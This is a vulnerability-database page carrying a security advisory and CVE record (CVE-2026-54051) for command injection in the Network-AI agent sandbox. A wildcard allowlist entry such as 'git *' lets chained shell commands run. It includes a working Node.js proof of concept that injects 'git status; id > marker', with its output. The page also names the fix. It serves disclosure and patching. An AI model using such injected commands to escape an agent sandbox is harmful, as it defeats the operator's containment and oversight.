Vulnerability-Lookup

GHSA-QW6V-5FCF-5666

Vulnerability from github – Published: 2026-06-19 13:35 – Updated: 2026-06-19 13:35

Summary

Network-AI: Improper Neutralization of Special Elements used in an OS Command

Details

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs network-ai@5.8.5, allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.

Run: npm i network-ai@5.8.5 && node poc-316.js

'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
  const marker = path.join(base, 'PWNED-316.txt');
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id > ${marker}; echo INJECTED`;
  console.log('version:', require('network-ai/package.json').version);
  console.log('allowed:', policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
  console.log(ran ? 'VULNERABLE' : 'not reproduced');
  process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });

Output:

version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to network-ai@5.9.1 or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T13:35:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution.\n\n## Root cause\n\nMatching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).\n\n1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260\n\n2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360\n\n3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391\n\n4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431\n\n## Reachability\n\nAny agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.\n\n## PoC\n\nInstalls `network-ai@5.8.5`, allows `git *`, then runs `git status; id \u003e marker`.\nThe allowlist accepts it and the injected `id` runs.\n\nRun: `npm i network-ai@5.8.5 \u0026\u0026 node poc-316.js`\n\n```js\n\u0027use strict\u0027;\nconst os = require(\u0027os\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { SandboxPolicy, ShellExecutor } = require(\u0027network-ai\u0027);\n\n(async () =\u003e {\n  const base = fs.mkdtempSync(path.join(os.tmpdir(), \u0027nai-poc-316-\u0027));\n  const marker = path.join(base, \u0027PWNED-316.txt\u0027);\n  const policy = new SandboxPolicy({ basePath: base, allowedCommands: [\u0027git *\u0027] });\n  const sh = new ShellExecutor(policy);\n\n  const payload = `git status; id \u003e ${marker}; echo INJECTED`;\n  console.log(\u0027version:\u0027, require(\u0027network-ai/package.json\u0027).version);\n  console.log(\u0027allowed:\u0027, policy.isCommandAllowed(payload));\n\n  await sh.execute(payload);\n  const ran = fs.existsSync(marker);\n  console.log(\u0027injected id ran:\u0027, ran, ran ? fs.readFileSync(marker, \u0027utf8\u0027).trim() : \u0027\u0027);\n  console.log(ran ? \u0027VULNERABLE\u0027 : \u0027not reproduced\u0027);\n  process.exit(ran ? 0 : 1);\n})().catch(err =\u003e { console.error(err); process.exit(3); });\n```\n\nOutput:\n\n```\nversion: 5.8.5\nallowed: true\ninjected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...\nVULNERABLE\n```\n\n## Impact\n\nArbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.\n\n## Possible fix\n\nDo not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.\n\n\n## Patch\n\nFixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.\n\n**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.",
  "id": "GHSA-qw6v-5fcf-5666",
  "modified": "2026-06-19T13:35:05Z",
  "published": "2026-06-19T13:35:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: Improper Neutralization of Special Elements used in an OS Command "
}

CVE-2026-54051 (GCVE-0-2026-54051)

Vulnerability from cvelistv5 – Published: 2026-07-20 16:24 – Updated: 2026-07-21 16:03

Title

Network-AI has an an OS Command Injection issue

Summary

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.

Severity

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-21 16:01 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/Jovancoding/Network-AI/securit…	x_refsource_CONFIRM
https://github.com/Jovancoding/Network-AI/commit/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Jovancoding	Network-AI	Affected: < 5.9.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54051",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-21T16:01:55.719735Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-21T16:03:01.029Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Network-AI",
          "vendor": "Jovancoding",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.9.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-20T16:24:20.791Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666"
        },
        {
          "name": "https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792"
        }
      ],
      "source": {
        "advisory": "GHSA-qw6v-5fcf-5666",
        "discovery": "UNKNOWN"
      },
      "title": "Network-AI has an an OS Command Injection issue"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54051",
    "datePublished": "2026-07-20T16:24:20.791Z",
    "dateReserved": "2026-06-11T18:24:35.096Z",
    "dateUpdated": "2026-07-21T16:03:01.029Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-QW6V-5FCF-5666

Summary

Root cause

Reachability

PoC

Impact

Possible fix

Patch

CVE-2026-54051 (GCVE-0-2026-54051)

Tags

Sightings

Nomenclature

Related by attack behaviour